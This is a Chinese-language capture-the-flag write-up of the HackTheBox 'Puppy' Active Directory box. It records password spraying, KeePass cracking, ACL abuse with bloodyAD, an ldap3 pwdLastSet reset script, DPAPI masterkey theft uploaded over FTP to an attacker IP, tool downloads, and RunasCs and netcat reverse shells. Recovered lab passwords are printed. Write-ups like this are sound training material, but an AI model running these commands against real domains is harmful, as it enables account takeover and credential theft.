nmap扫描全端口
Nmap scan report for 10.129.243.117
Host is up, received echo-reply ttl 127 (0.47s latency).
Scanned at 2025-05-18 21:12:56 EDT for 551s
Not shown: 65512 filtered tcp ports (no-response)
Bug in iscsi-info: no string output.
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-05-19 08:17:50Z)
111/tcp open rpcbind? syn-ack ttl 127
| rpcinfo:
| program version port/proto service
| 100003 2,3 2049/udp nfs
|_ 100003 2,3 2049/udp6 nfs
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
2049/tcp open mountd syn-ack ttl 127 1-3 (RPC #100005)
3260/tcp open iscsi? syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49669/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49690/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49696/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
54668/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-05-19T08:19:55
|_ start_date: N/A
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 55057/tcp): CLEAN (Timeout)
| Check 2 (port 40598/tcp): CLEAN (Timeout)
| Check 3 (port 41563/udp): CLEAN (Timeout)
| Check 4 (port 2886/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: 7h02m33s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
nfs探测
靶场开始就给了我们用户levi.james / KingofAkron2025!,我们先尝试访问nfs
smb探测
我们使用nxc快速了解smb
Bloodhound 探测
我们成功探测了smb,所以直接去LDAPserver 提取相关路径,开始分析攻击路线。
bloodhound-python -d puppy.htb -dc dc.puppy.htb -c All -u levi.james -p KingofAkron2025! --dns-timeout 10
我们添加找到的信息,到bloodhound
]
攻击路线分析
首先了解我们是谁,我们是隶属于MANPOWER的OU,这可能意味着我们有点能力?我们还是HR,HR貌似拥有对DEVELOPERS组的GenericWrite权限,这意味着我们能够加入DEVELOPERS组。
![[Pasted image
加入Developer组后,我并没有发现有趣的ACL东西。这里面可能隐藏这什么!我们看看developer组有哪些人员。
DEVELOPER组内成员并没有高级权限。接下来我们在全局来判定高价值用户,STEPH.COOPER_ADM这个用户显得非常有趣,我们将重点关注,看看他的权限情况。
他的上游好像没什么特别的。
我们看看STEPH.CHOOPER_ADM是否有STEPH.CHOOPER用户,发现存在。他两必然存在着一些联系。
这个用户拥有远程登录权限,并且和域控管理员账号相关,这个人将变得非常有意思。我设置为高价值用户。这个用户的上游也没有什么特别的。
![[Pasted image
首先进行一下密码喷洒吧,看看有没有别的收获。
levi.james / KingofAkron2025!
└─$ kerbrute passwordspray --dc dc.puppy.htb -d puppy.htb users 'KingofAkron2025!' -v
发现adam这个用户是锁定的,也就是说是失效用户,这种用户通常意味着机会。经过探查adam是developer组的,我们看看他的情况。我认为这三个都非常有趣,我们可能会在他们身上获取一些东西,因为SMB中有DEV组才能访问的内容。所以我将他们列入了重点关注对象。
在尝试获取SMB分享之前,我们看看用户密码修改时间的情况
cat 20250519051259_users.json | jq | grep 'pwdLastSet'
以新用户组身份尝试SMB分享
可以看到密码并非脚本修改,也就是说密码不会存在复用情况,我们得进一步慢慢探查。到此我们知道developer用户组里面有几个用户我们非常感兴趣,并且developer组很可能能够访问DEV的smb分享。我们先去smb分享看看。
levi.james / KingofAkron2025!
###添加LEVI B.JAMES到developer组
bloodyAD -d puppy.htb -u levi.james -p KingofAkron2025! --dc-ip 10.129.243.117 add groupMember DEVELOPERS levi.james
###smbclient 连接dev库
impacket-smbclient levi.james@dc.puppy.htb
Keepass2john变种 keepass4brute爆破.kdbx文件
嗯哼如我们所料,我们成功拿取里面的文件。这些文件里面是KeePass和相关的密码,这个是一个密码管理程序,他将带领我们走向胜利。我们发现了不寻常的地方。keepass2john无法正常使用,经过查询,我们发现了解决办法[[https://0xdf.gitlab.io/hackvent2024/hard#]],我们使用keepass4brute.sh完成攻击,发现密码。
先直接密码喷洒一下,没有成功。
那么我们有必要下载msi安装好,然后查看密码。kali也可以直接下载keepassxc完成相应操作。
HJKL2025!
Antman2025!
JamieLove2025!
ILY2025!
Steve2025!
以新密码进行喷洒
现在我们把这些密码全部喷洒一下,我们仅成功了一个用户
ant.edwards@puppy.htb:Antman2025!
这个用户在我们眼里是高价值用户,因为在之前我们已经从bloodhound了解到他可以导致我们获取远程的能力。
开启禁用用户&修改用户所有者&强制修改用户密码
那么接下来我们先获取ADAM用户
###开启ADAM用户
bloodyAD -d puppy.htb -u ant.edwards -p Antman2025! --dc-ip 10.129.243.117 remove uac -f LOCKOUT -f ACCOUNTDISABLE adam.silver
###修改ADAM账户
bloodyAD -d puppy.htb -u ant.edwards -p Antman2025! --dc-ip 10.129.243.117 set owner adam.silver ant.edwards
bloodyAD -d puppy.htb -u ant.edwards -p Antman2025! --dc-ip 10.129.243.117 set password adam.silver Adam@2025!
绕过密码最短修改周期限制
这一步我们发现了问题,貌似修改周期并不允许我们修改密码
所以我们需要修改pwdlastset的时间戳,来绕过这个限制。pwdlastsetChagne.py脚本如下
import ldap3
server = ldap3.Server('10.129.243.117', port =389, use_ssl = False)
connection = ldap3.Connection(server, 'CN=ANTHONY J. EDWARDS,DC=PUPPY,DC=HTB', 'Antman2025!', auto_bind=True)
connection.bind()
connection.extend.standard.who_am_i() u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
connection.modify('CN=ADAM D. SILVER,CN=USERS,DC=PUPPY,DC=HTB',{'pwdLastSet': [(ldap3.MODIFY_REPLACE, ['0'])]})
重新修改密码
python pwdlastsetChagne.py
bloodyAD -d puppy.htb -u ant.edwards -p Antman2025! --dc-ip 10.129.244.111 remove uac -f LOCKOUT -f ACCOUNTDISABLE adam.silver
bloodyAD -d puppy.htb -u ant.edwards -p Antman2025! --dc-ip 10.129.244.111 set password adam.silver Wobujidele1997@123
evil-winrm -i dc.puppy.htb -u adam.silver -p Wobujidele1997@123
winrm远程登录
evil-winrm -i dc.puppy.htb -u adam.silver -p Wobujidele1997@123
nxc winrm 10.129.243.117 -u adam.silver -p Wobujidele1997@123
成功获取PSshell
这里我们看到用户有一个Microsoft Edge浏览器的链接,这很可能意味着浏览器里面有秘密,也就是DPAPI。搭建下载Winpeas 先快速扫描。
(New-Object Net.WebClient).DownloadFile('http://10.10.16.3/winPEASx64.exe','C:\Users\adam.silver\desktop\winPEASx64.exe')
DPAPI密码泄露
运行完winPEASx64之后,我们发现了一些有趣的隐藏文件,这非常类似于DPAPI,我们去瞅瞅
Get-ChildItem -Hidden C:\Users\adam.silver\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem C:\Users\adam.silver\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\adam.silver\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\adam.silver\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\adam.silver\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\adam.silver\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1105
Get-ChildItem -Hidden C:\Users\adam.silver\AppData\Local\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1105
我们发现了masterkey文件,也就是说DPAPI是可以完成解密的
确定攻击路线为DPAPI,我们开始攻击。
PS C:\htb> (New-Object Net.WebClient).UploadFile('ftp://10.10.16.3/ftp/1038bdea-4935-41a8-a224-9b3720193c86', 'C:\Users\adam.silver\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1105\1038bdea-4935-41a8-a224-9b3720193c86')
PS C:\htb> (New-Object Net.WebClient).UploadFile('ftp://10.10.16.3/ftp/DFBE70A7E5CC19A398EBF1B96859CE5D-DESKTOP', 'C:\Users\adam.silver\Desktop\DFBE70A7E5CC19A398EBF1B96859CE5D')
PS C:\htb> (New-Object Net.WebClient).UploadFile('ftp://10.10.16.3/ftp/DFBE70A7E5CC19A398EBF1B96859CE5D','C:\Users\adam.silver\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D')
PS C:\htb> (New-Object Net.WebClient).UploadFile('ftp://10.10.16.3/ftp/BK-PUPPY', 'C:\Users\adam.silver\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1105\BK-PUPPY')
PS C:\htb> (New-Object Net.WebClient).UploadFile('ftp://10.10.16.3/ftp/Preferred', 'C:\Users\adam.silver\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1105\Preferred')
PS C:\htb> (New-Object Net.WebClient).UploadFile('ftp://10.10.16.3/ftp/CREDHIST', 'C:\Users\adam.silver\AppData\Roaming\Microsoft\Protect\CREDHIST')
PS C:\htb> (New-Object Net.WebClient).UploadFile('ftp://10.10.16.3/ftp/SYNCHIST', 'C:\Users\adam.silver\AppData\Roaming\Microsoft\Protect\SYNCHIST')
PS C:\htb> (New-Object Net.WebClient).UploadFile('ftp://10.10.16.3/ftp/link.lnk', 'C:\Users\adam.silver\desktop\Microsoft/ Edge.lnk')
我们成功解密DPAPI的masterkey
impacket-dpapi masterkey -t puppy.htb/adam.silver:'Wobujidele1997@123'@10.129.244.111 -file 1038bdea-4935-41a8-a224-9b3720193c86
我们成功解密桌面的DPAPI文件,和CREDHIST文件,没有啥重要内容
impacket-dpapi credential -file DFBE70A7E5CC19A398EBF1B96859CE5D -key '0x67c93a5831a5d17bae13deb6ef3324f5c97abd363d8f146f5ac79f07fb2b2c0eb21433fcf211c15af4e79c1c72a512d3c8f181433b1fa50e78e7e146c27230ae'
ASREP攻击
我们尝试发起ASREP攻击,获取到了凭证hash但是破解失败。
(New-Object Net.WebClient).DownloadFile('http://10.10.16.3/LaZagne.exe','C:\Users\adam.silver\desktop\LaZagne.exe')
bloodyAD -d puppy.htb -u ant.edwards -p Antman2025! --dc-ip 10.129.244.94 remove uac -f LOCKOUT -f ACCOUNTDISABLE adam.silver
bloodyAD -d puppy.htb -u ant.edwards -p Antman2025! --dc-ip 10.129.244.94 add uac -f DONT_REQ_PREAUTH adam.silver
impacket-GetNPUsers PUPPY/adam.silver -dc-ip 10.129.244.94 -no-pass
我们转向本地的2049端口,我们将2049端口转发,我们尝试连接未发现任何东西,可能是权限不足。或者2049没有绑定的内容。
(New-Object Net.WebClient).DownloadFile('http://10.10.16.3/chisel.exe','C:\Users\adam.silver\desktop\chisel.exe')
sudo ./chisel server --reverse -v -p 1234 --socks5
./chisel.exe client -v 10.10.16.3:1234 R:socks
我们还发现一个有趣的点,我们发现user文件夹处,有ant这个用户,并且这个用户必adam权限要高,只是不能远程。所以我们有必要runascs成为ant用户看看
(New-Object Net.WebClient).DownloadFile('http://10.10.16.3/RunasCs.exe','C:\Users\adam.silver\desktop\RunasCs.exe')
.\RunasCs.exe "ant.edwards" 'Antman2025!' powershell.exe -r 10.10.16.3:9001
.\RunasCs.exe "ant.edwards" "Antman2025!" powershell.exe --logon-type 3 --remote-impersonation -r 10.10.16.3:9001
.\RunasCs.exe "ant.edwards" "Antman2025!" powershell.exe --logon-type 3 --remote-impersonation -c "whoami > C:\Users\adam.silver\Desktop\test.txt"
.\RunasCs.exe "ant.edwards" "Antman2025!" powershell.exe --logon-type 3
runas.exe /env /noprofile /user:'ant.edwards' 'Antman2025!' "C:\Users\adam.silver\desktop\nc.exe -nc 10.10.16.3 4444 -e cmd.exe"
依旧没能执行成功,我们开始尝试翻找文件,我们在C:\backups中发现了一个有趣的文件,好像是一个网站的备份。我们想进去看看配置文件,发现了这个
<bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
<bind-password>ChefSteph2025!</bind-password>
我们进入查询DPAPI
Get-ChildItem -Hidden C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107
Get-ChildItem C:\Users\steph.cooper\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\steph.cooper\AppData\Local\Microsoft\Protect\
我们拥有密码所以我们可以直接窃取DPAPI中的密码
PS C:\htb> (New-Object Net.WebClient).UploadFile('ftp://10.10.16.3/ftp/556a2412-1275-4ccf-b721-e6a0b4f90407', 'C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407')
PS C:\htb> (New-Object Net.WebClient).UploadFile('ftp://10.10.16.3/ftp/C8D69EBE9A43E9DEBF6B5FBD48B521B9', 'C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9')
我们下载好两个文件到攻击机,然后首先先破解masterkey
└─$ impacket-dpapi masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -t puppy.htb/steph.cooper:'ChefSteph2025!'@10.129.244.111
(uploadserver) ┌──(uploadserver)─(kali㉿kali)-[~/Desktop/HTB/puppy/ftp]
└─$ impacket-dpapi credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key '0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84'
我们获取了system权限的账户。
Username : steph.cooper_adm
Unknown : FivethChipOnItsWay2025!